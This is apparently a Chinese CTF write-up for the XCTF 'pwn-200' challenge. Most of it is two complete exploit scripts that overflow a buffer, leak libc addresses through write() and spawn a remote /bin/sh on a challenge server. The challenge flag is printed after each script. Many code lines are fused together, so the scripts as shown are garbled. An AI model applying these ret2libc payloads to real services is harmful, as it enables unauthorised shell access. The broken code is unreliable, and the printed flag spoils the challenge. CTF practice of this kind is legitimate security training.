pwn-200

  • 题目下载地址:
  • 查保护
  • EXP:
  • DynELF解法
  • LibcSearcher解法
  • flag:

题目下载地址:

点此下载

查保护


只开启了NX
查看是否有后面函数,没有!所以需要利用DynELF泄露system地址获取shell。
这题比较简单,就不写详细解释了,直接上EXP。

EXP:

DynELF解法

# -*- coding: utf-8 -*-
# @Author: 夏了茶糜
# @Date:   2020-03-19 14:01:14
# @email: sxin0807@qq.com
# @Last Modified by:   夏了茶糜
# @Last Modified time: 2020-03-19 15:03:12from pwn import *context(arch="amd64",os="linux")
context.log_level="debug"
p = remote("111.198.29.45",37468)
elf = ELF("./pwn-200")
write_addr = elf.plt["write"]
read_plt = elf.plt["read"]
start = 0x080483D0
bss = elf.bss()
pop_3 = 0x0804856c
def leak(address):p.recvuntil("Welcome to XDCTF2015~!\n")payload = 0x6c * 'a' + 0x4 * 'b' + p32(write_addr) + p32(start) + p32(1) + p32(address) + p32(4)payload = payload.ljust(0x100,"c")p.send(payload)return p.recv(4)
d = DynELF(leak,elf=ELF("./pwn-200"))
sys_addr = d.lookup("system","libc")
log.info("system_addr => %#x", sys_addr)payload = 0x6c * 'a' + 0x4 * 'b' + p32(read_plt) + p32(pop_3) + p32(1) + p32(bss) + p32(8) + p32(sys_addr) + p32(start) + p32(bss)
payload = payload.ljust(0x100,"c")
p.recvuntil("Welcome to XDCTF2015~!\n")
p.send(payload)
p.send("/bin/sh\x00")p.interactive()
p.close()

flag:

cyberpeace{4091636f7e138037bc50802bfe306a0a}

LibcSearcher解法

# -*- coding: utf-8 -*-
# @Author: 夏了茶糜
# @Date:   2020-03-19 15:24:13
# @email: sxin0807@qq.com
# @Last Modified by:   夏了茶糜
# @Last Modified time: 2020-03-19 15:35:56from pwn import *
from LibcSearcher import *context(arch="amd64",os="linux")
context.log_level="debug"
p = remote("111.198.29.45",37468)
elf = ELF("./pwn-200")
write_addr = elf.plt["write"]
read_got = elf.got["read"]
write_got = elf.got["write"]
start = 0x080483D0
bss = elf.bss()
pop_3 = 0x0804856cpayload = 0x6c * 'a' + 0x4 * 'b' + p32(write_addr) + p32(start) + p32(1) + p32(read_got) + p32(4)
payload = payload.ljust(0x100,"c")
p.recvuntil("Welcome to XDCTF2015~!\n")
p.send(payload)
read_addr = u32(p.recv(4))payload = 0x6c * 'a' + 0x4 * 'b' + p32(write_addr) + p32(start) + p32(1) + p32(write_got) + p32(4)
payload = payload.ljust(0x100,"c")
p.recvuntil("Welcome to XDCTF2015~!\n")
p.send(payload)
write_addr = u32(p.recv(4))obj = LibcSearcher("read",read_addr)
obj.add_condition("write",write_addr)libc_base = read_addr - obj.dump("read")
system_addr = obj.dump("system") + libc_base
bin_sh = obj.dump("str_bin_sh") + libc_baselog.info("libc_base => %#x", libc_base)
log.info("system_addr => %#x", system_addr)
log.info("bin_sh => %#x", bin_sh)payload = 0x6c * 'a' + 0x4 * 'b' + p32(system_addr) + p32(start) + p32(bin_sh)
payload = payload.ljust(0x100,"c")
p.recvuntil("Welcome to XDCTF2015~!\n")
p.send(payload)
p.interactive()
p.close()

flag:

cyberpeace{4091636f7e138037bc50802bfe306a0a}

XCTF-PWN pwn-200(使用DynELF利用write泄露system地址)相关推荐

  1. Linux kernel pwn notes(内核漏洞利用学习)

    前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...

  2. ctfshow pwn——PWN签到题、pwn02

    PWN PWN签到题 pwn02 PWN签到题 nc连上就行了 pwn02 check一下是32位,用32位ida打开看看 很直白的pwnme函数 9字节的空间读入了50字节,产生了栈溢出 用pwnd ...

  3. 好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc

    前言 本来是在做tcache attack的例题的,但是wiki上的challenge2考察的重点不仅仅是在tcache.题目程序中没有输出的功能,所以无法像往常一样去泄露libc,这个时候就需要进行 ...

  4. linux添加ip白名单_centOS7 下利用iptables配置IP地址白名单的方法

    编辑iptables配置文件,将文件内容更改为如下,则具备了ip地址白名单功能 #vim /etc/sysconfig/iptables *filter :INPUT ACCEPT [0:0] :FO ...

  5. html 验证邮箱地址,利用javascript验证邮箱地址是否合法

    利用javascript验证邮箱地址是否合法 源代码如下: 验证邮箱地址合法性 function EmailAddressTest() { //获取用户输入的邮箱地址相关的信息 var EmailSt ...

  6. PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本

    简介 "pwn"这个词的源起以及它被广泛地普遍使用的原因,源自于魔兽争霸某段讯息上设计师打字时拼错而造成的,原先的字词应该是"own"这个字,因为 'p' 与 ...

  7. 64位c语言调用32位glibc,glibc fclose源代码阅读及伪造_IO_FILE利用fclose实现任意地址执行...

    简介 最近学习了一下_IO_FILE的利用,刚好在pwnable.tw上碰到一道相关的题目.拿来做了一下,遇到了一些困难,不过顺利解决了,顺便读了一波相关源码,对_IO_FILE有了更深的理解. 文章 ...

  8. 黑客攻防技术宝典web实战篇:利用信息泄露习题

    猫宁!!! 参考链接:http://www.ituring.com.cn/book/885 随书答案. 1. 当探查 SQL 注入漏洞时,如果请求以下 URL: https://wahh-app.co ...

  9. 利用函数进行ip地址转换

    inet_addr.inet_ntoa.inet_pton.inet_ntop用法 inet_addr(): inet_ntoa(): inet_pton(): inet_ntop(): 运行实例 1 ...

最新文章

  1. git学习小结(未完待续)
  2. SQLite 创建数据库(http://www.w3cschool.cc/sqlite/sqlite-create-database.html)
  3. leetcode 287. Find the Duplicate Number | 287. 寻找重复数(判断链表是否有环,并找到环的起点)
  4. 如何处理CloudFoundry应用部署时遇到的254错误
  5. 阿里的26款大神级的Java开源项目
  6. Libevent初探
  7. 【转载】shell实例手册
  8. At present, Huawei has two more important
  9. java 同步与异步区别_同步和异步有何异同,在什么情况下分别使用它们?
  10. weblogic启动项目失败查看_weblogic启动报错常见错误解决办法
  11. 嵌入式硬件入门——蜂鸣器
  12. 浅谈腾讯云IM接入方式(java后端)
  13. 蓝桥杯学习笔记十:PWM占空比测量实验
  14. 大数据:对大数据的理解
  15. 2017年深圳积分入户分值表(精简版)
  16. xynu 2139: 德莱联盟(判断线段是否相交 )
  17. 微信内置浏览器调试和调试微信内的H5页面汇总(持续更新...)
  18. linux蓝牙适配器驱动安装失败,deepin官方论坛-深度科技官网旗下网站
  19. OneNote如何修改已有的笔记本为默认的快速笔记?
  20. firewalld火墙策略(一)

热门文章

  1. 冬至已至,你的在职读研2023能在社科院与杜兰大学金融管理硕士项目实现吗
  2. javaweb程序设计入门
  3. 电话机器人API接口-空号识别-座席WEBAPI
  4. Mac使用OBS直播配置教程|解疑答惑
  5. 待定系数法求二阶常系数非齐次线性方程特解
  6. POP3, SMTP, IMAP 和 Exchange 的区别
  7. 【2015NOIP普及组】T4:推销员 试题解析
  8. 再编写代码中报错:CS8107 C# 7.0 中不支持功能“xxxxxx”。请使用 7.1 或更高的语言版本。...
  9. 控制手柄分体式滑环在船用起重机中的运用
  10. php redis访问量,redis实现点击量浏览量